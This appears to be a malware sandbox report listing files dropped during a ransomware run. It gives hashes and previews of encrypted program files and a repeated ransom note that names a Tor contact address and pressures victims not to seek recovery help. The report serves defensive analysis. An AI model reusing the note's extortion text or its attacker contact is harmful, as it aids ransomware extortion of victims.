SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\Microsoft.mshtml.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8007994
Entropy (8bit):	6.264697410829436
Encrypted:	false
SSDEEP:	98304:IZmd0EV5yh2zok4aLQZ+9ZU8Fhlp3F450cu2c:IZmd0EV5yE4r+Z/5F4Ocu2c
MD5:	F4E2A88C5968C1CB54A6D00F167BAF0B
SHA1:	FEAFF7EC6FA45A27FA7F2F3FFC6598CF2E90E0C5
SHA-256:	3C172A4D05D8DD5BC24FD9C5D5AC0ED2D2121202A52683D931F97EA13E00B87B
SHA-512:	4EF19BACC4C5229173B231D6E9F3591DD50F434F53262F6661D6B809DC1FD48592DB58284A98D046949111DD3E605E4BA51286B4B60AE3EDB75B090FD3E6B71B
Malicious:	false
Preview:	.H..,......T..r#.XV..<....a...$.....?te...n..KO....H...d.m{x........!..L.!This program cannot be run in DOS mode....$.......PE..L...0.6<...........!......z.. ........z.. ... z...@.. ........'H..,.....N....C.XV..<9Hm.a...$.....?te...~..KO....H...dam{x..z.S.... z.x....................@z...................................................... ............... ..H............text.....^H..,.....N....#.XV..<....a.w.V.~z..?.f...N.K_....2...dam{x....@..@.reloc.......@z...... z.............@..B..................................................................................'H..,.....N....#.XV..<....a...$.....?te...n..KO....H...dam{x..................................................................................................................................'H..,.....N....#.XV..<....a...$.....?te...n..KO....H...dam{x..................................................................................................................................'H..,.....N....#.XV..<....a...$.....?

C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\Microsoft.stdformat.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	13626
Entropy (8bit):	6.3394874310898945
Encrypted:	false
SSDEEP:	384:BVOK1x+NktEPPcuiTWyeO6wZattE7R72Lo7WQ4pWW/Zl:p1xDtwxiTsDwutE7Qk4pv
MD5:	737C6BC9AA2DA1FA70DC7E0C45C48C23
SHA1:	4CA27C8C5802EF59E47A639B54D87C55F4389A74
SHA-256:	38707E956ED5C1EAD4C009D9EB4FCF6AA40ABEEBB23A6C34A767A1463C6802D7
SHA-512:	C15E5FA13D599DB26EF8EE4F29D491831547BBA0AAD67162A7A1E12ED4591B034E7EAD78BE32B2D53840C695C525D247B84B43EA68AB00BBA1A67F75F4B5D9F7
Malicious:	false
Preview:	.o9..2.>..1.d.].S..9..eP.#$...FZ.OP#.(8..;B.=3.o.M.1.......g........!..L.!This program cannot be run in DOS mode....$.......PE..L.....6<...........!.....,..........~J... ...`....@.. ......C5...2.>..1S..]...9..e..#$...FZ.OP3.(8..;R.=3.o.M.1....y..g,J..O....`..@............................................................................ ............... ..H............text........2.:2.1S..].S..9..e..#$..kh(.=3#.h;..;".=3.o.c.1....y..g....@..@.reloc...............2..............@..B................`J......H.......\|(...!...................'......................G5...2.:..1S..].Q..;..g..!&...DX.MR!.:..9@.?1.m.O.3....{..e.............................0..............{....9........{....o;......0.."...........{....9........{........o9......0.."...G5....2.A..1W..].St.9..\|..'...dqZ.Iz..;....B.=3.o.[D.1....s..g. ....}.........}.........}.........}.......0............ ........... .... ...... .... >..... .... ...... .... ...... .... .....=...2?...1..[.S....e...#..+WZ.O.+.

C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\adodb.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	110906
Entropy (8bit):	6.67681528574758
Encrypted:	false
SSDEEP:	3072:pMLK9c1XY11K0VcraH5nKEU2v/p4r7MkWqL:pMLR1XY7K0VcraH5nbfvx+7D
MD5:	86C1A49657A8B0A333431002AFD5C06A
SHA1:	0EED92F08B5E5D712A70A3764E7C51F82744A05B
SHA-256:	5E3012A7026BDBF6E95C2F577896B698426656F424F1BE8511F4ADFA8DDD42FA
SHA-512:	92C7D708D872D303EF35445A8BE7322E4BD67BE47A0047B0B30EBF760B55604C11363832C7E3C67F4FD5E30BC68968084BD81B0ACC6C077CA64E640E5013AB24
Malicious:	false
Preview:	-....{cw9d.tUa.....d.].'o..w.......%)......F..&.>.!.....-,...l.........!..L.!This program cannot be run in DOS mode....$.......PE..L....[.=...........!......... .......... .........W. ......d.u..{cw9d.t....^p..d.]....t.......%9......F..&.>.!.....-,.B.l.....W.......P............................................................................ ............... ..H............text.....t..[cw=.t....^...d.].go..W....F).....Fx.&...!.c...-,.B.l.....@..@.reloc..............................@..B................................................................................`.u..{cw=d.t....^...d.].go..w.......%)......F..&.>.!.....-,.B.l.................................................................................................................................`.u..{cw=d.t....^...d.].go..w.......%)......F..&.>.!.....-,.B.l.................................................................................................................................`.u..{cw=d.t....^...d.].go..w.......%)..

C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\msdatasrc.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4410
Entropy (8bit):	7.338488975138867
Encrypted:	false
SSDEEP:	96:UkuOZD2wkZbJuO5JU0Oy/RzHvT0nc+pW8qLS:Uku8DUwIJU2QnmnLS
MD5:	ACD6FFDBBFC397984593B5FC74AFBB80
SHA1:	804BE6B58B85EF92B3861D13A2C83EB6E8A11EF2
SHA-256:	E650557AB6664B34385780A020E8180F26E9060B0886731CE60F9D7B98C0063B
SHA-512:	E1DE974D9A5A9B4D8C53837B236A80AA4FDECED14EF2CD8E005F9A6A35C5C0CAE9FB59D52BA85651B2489EAB7685ED5EFDCEAB4516E023A180E0EDCFDA590EE1
Malicious:	false
Preview:	..(.e.u.G......Y.....x..7.\.,.............X................X...f~\|.b....o....'.n....Z.?.B.`}..7...r.xn.P....f.. ....O.......v.....N........v..6.\.$..........<.X....P.........O..R..f.u.G....N...H....x....\.,.............X.............O..~..5.u.CQ..nM........x..7.\.,.............X.............O..V..f.u.C....N........x....\.,...........;.Xb...........ce;.....f.u.C....L........x..7.\.,.o'..t......X.............O..V..&.u.mc..A-........x..5.\.".............Xj.............O..6..f.u.....,N..9...L.x..7.\.,...........;.X..............O..V..f.u.C....N........z.....'R......D...D..$.\|u9..M...P..^.8.....)1..EG6..Ukk;<[o.....4a...gh.Pv....U..../.!#..U.^.....rF....'.Y.s....?%...N...d...,............h..4..............u.....u..........`...x..3.\.,.....S......X.....R.l......N.....o.u.C..L........x..7.\.,.............X"............N..V..&.T.E...N..b.&......7.\.,....W.6......X,.,.......*....N.........C.../N!......x..7.\.,....l.#...

C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\stdole.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	16698
Entropy (8bit):	6.377806635003492
Encrypted:	false
SSDEEP:	384:NkbqSQXpelHiEnW5dOCx5J+L9jCQW5WWD:CbqSQXIHi+WOdxCHb
MD5:	88A57D0ED78A8BF3F1ADBE636D6984E9
SHA1:	4AE068BD7352CC01AC00260C0FCB2B2A6B22AEEF
SHA-256:	01E74DBD1A8AD24C418C250DE4D966FE6631212D5BC4E295F24F8016CF59F434
SHA-512:	4631098B3F1582EF4BB771D4520F4D419F294E177BB17D89AC913CFEBB73EE83EB746D0028E55A795CF4F35C0F5346ECAB414DF692DEB0805C77F000D1CE11ED
Malicious:	false
Preview:	&..F.%R1&J.le..d..br.8."_5,.l3.6J.f.......q.M&.((...r+.l.U..29........!..L.!This program cannot be run in DOS mode....$.......PE..L...x.6<...........!.....8...........V... ...`....oV. ......o.+F.%R1&J.l...d..br.:...5,.l3.6J..f.......q.M&.((...r+.l.Un.29LV..O....`..@............................................................................ ............... ..H............text.....+F..R1"r.l...d..br.8.b_5,.l3a.8..........q.M&.,(...r+.l.Un.29....@..@.reloc...............>..............@..B.................V......H.......`%...0...................$......................k.+F.%R1"J.l...d..`p.:..`]7..n1.4H.d.......s.O$.*...p).n.Wl.0;.................................................................................................................0..".............+F..A1"J.e......f..9..._5.F3.%z.D.........M&%8(..7{+.L.Un.O%........}....*...0............ ........... .... ...... .... ...... .... ...... .... N..... .... ...... .... ...... .... ...... .k.+f.%R1.B.d...D..br.0.b_5..l3..B.f..-

C:\Program Files (x86)\Microsoft.NET\RedistList\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Microsoft.NET\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Microsoft\EdgeCore\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Microsoft\EdgeWebView\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Microsoft\Edge\Edge.dat

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12602
Entropy (8bit):	4.871825679433219
Encrypted:	false
SSDEEP:	96:mG9GGGGGGGGGGGGGGGGGG8tr6RKii8bbsM8RPH4D1AO9VdgmhcxLSY/AIYcP5Q9/:Otryi8bwM6avdTcxRTDFM6cDB+HV4yS
MD5:	FCCC5B27EE259AE303258E55F062638E
SHA1:	65F18E0EF838F073F979C597C8BA7D5C08AA3D4C
SHA-256:	D54B3B5BE77D9DE0072C915B8DC08596BC0311970FDFAC04E48528BE8C883839
SHA-512:	DF73F37579D6CA0A872AEF90929271C81008147162C525D272C55A4620FB5A151B745D2C9B1BF3A4DF0E5251FA4F42712514560D9564FCD74AE53DBA5AF6A9E9
Malicious:	false
Preview:	.0{dK.3.p.....J....F.g.Z....{Y..'qP...d.q..\.x-..O....mZ7.`.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.E.d.g.e...d.a.t...........o..:...........o..:...............o..:...rmtmF..0....................U..I.3.r....7...MG.g.Z....{X..'QP...d.p..\.x...O....[Z..<..................................................................................................................................U..I.3.r....7...MG.g.Z....{X..'QP...d.p..\.x...O....[Z..<................................................................................................................................U..I.3.r....7...MG.g.Z....{X..'QP...d.p..\.x...O....[Z..<..................................................................................................................................U..I.3.r....7...MG.g.Z....{X..'QP...d.p..\.x...O....[Z..<..................................................................................................................................U..I.3.r....7...MG.g.Z....{X..'QP..

C:\Program Files (x86)\Microsoft\Edge\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Microsoft\Temp\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Microsoft\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	103708
Entropy (8bit):	6.926413120465891
Encrypted:	false
SSDEEP:	3072:QFrJEB0be4u7Q4+eV77soPthMOOiAIy3g9:QFFjefU4F77TPthMOBpX
MD5:	8FE97EEAB95773CC37E831FF63DBB183
SHA1:	0132341D185A6A70A6072865FC5DF5B02FE523F6
SHA-256:	46B3903CC82171A89218B2491F63B5412F683944E90363B1597A46FE5553C401
SHA-512:	51B1AF065361D8304ED9C123511AA2F34411C616AB05854E24810130A87253B2B8CE60ABBDA664E057DB68C17DF958EC78F2D1A42122E1A9EC90CE0A34D3E4A5
Malicious:	false
Preview:	)@....B.=....."..(+...&.GC..g...1....{h...........(....~p5.s.X.........!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.d....B.9...#.".H(+...&.W...+....\..{h...........(...~.7..X..4............@.......................... .......k....@..............................................r...............)..........d....B.9...#.".H(+...&..C..g...1....{h...........(0...~p5..X..................text....g.......h.................. ..`.rdata...............l..............@..@.data...........................d....BU.mapWq".Hh*...%..C..g...1....{h.......d.s.Z....5.I\..t..................@..@........................................................................................................d....B.9...#.".H(+...&..C..g...1....{h...........(....~p5..X.................................................................................................................................d....B.9...#.".H(+...&..C..g...1....{h

C:\Program Files (x86)\Mozilla Maintenance Service\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Mozilla Maintenance Service\logs\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice-install.log

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	582
Entropy (8bit):	6.979475562208333
Encrypted:	false
SSDEEP:	12:0d+/MnJYOShYq0WxkKnmmUsoFZFaBncIxIil3FU2g0QXbX2BS:Z/Mnmb0nKnmpsow9xIil3Fj5S
MD5:	5B8E6732136689EF8F93178EC83A1AF4
SHA1:	83964EB45DEA2AFA266C0E6AEAF5526874A37876
SHA-256:	419D57AA9C0ACD6C6FFBDF1820EFE51D1FA756010BC1D4C34BA8DF9A480B2E36
SHA-512:	A3128AB9F4ABD9724A657C955FBF7D737095BACC6C220167B134CDACABEBB76DB8FFD9CAD710D0D34F1CAE43FA792DF2711187FDA314EAA186CBE7B76CC6E8A2
Malicious:	false
Preview:	...lL.Y..?)..xK..!.{r..[.\|.&\.B.K...s...wQ.{.o...af.-..KI,.N.e...fJ.X..6)..'...w.51.......&..[.F..p...m..;..... 0.j.P.T..M.b...oL.Z..=3..xK..$.`r....... K.M....u...`].;.....&%.}.V.Z....5.G..M.. .;..qS..9.cb..T....y.[......s..fB.6KB..Vs<.o.R..i._.%ccessfully......uBU..A......g..>...!..g.f.em.............._.d..q.I...b........4.Z=\|^. ....0.C.N/Gz.O./'>.p.w.SWJ....%~].&.~.+(..;.}F.F)...bJ.....%.H...g\.n;......0Dp.v.,....ci.....!......5.xa0..+Zhb.P...ryc..............................................................................................29yp10v5m8k.

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	239322
Entropy (8bit):	7.145896577043414
Encrypted:	false
SSDEEP:	6144:3UZkzbXB6woqexI+YPAL095el+LDegJw6S/zx:4yJh1Z50KDeL5bx
MD5:	8261E379F2A9C93F710A7FC411C3A75E
SHA1:	A59D8D8041A683C362B3B858B01351545E4325A5
SHA-256:	AD5D76AD4546CE7A02C8B076E33B50BBFB196C97A9BB9528F7696DC629790661
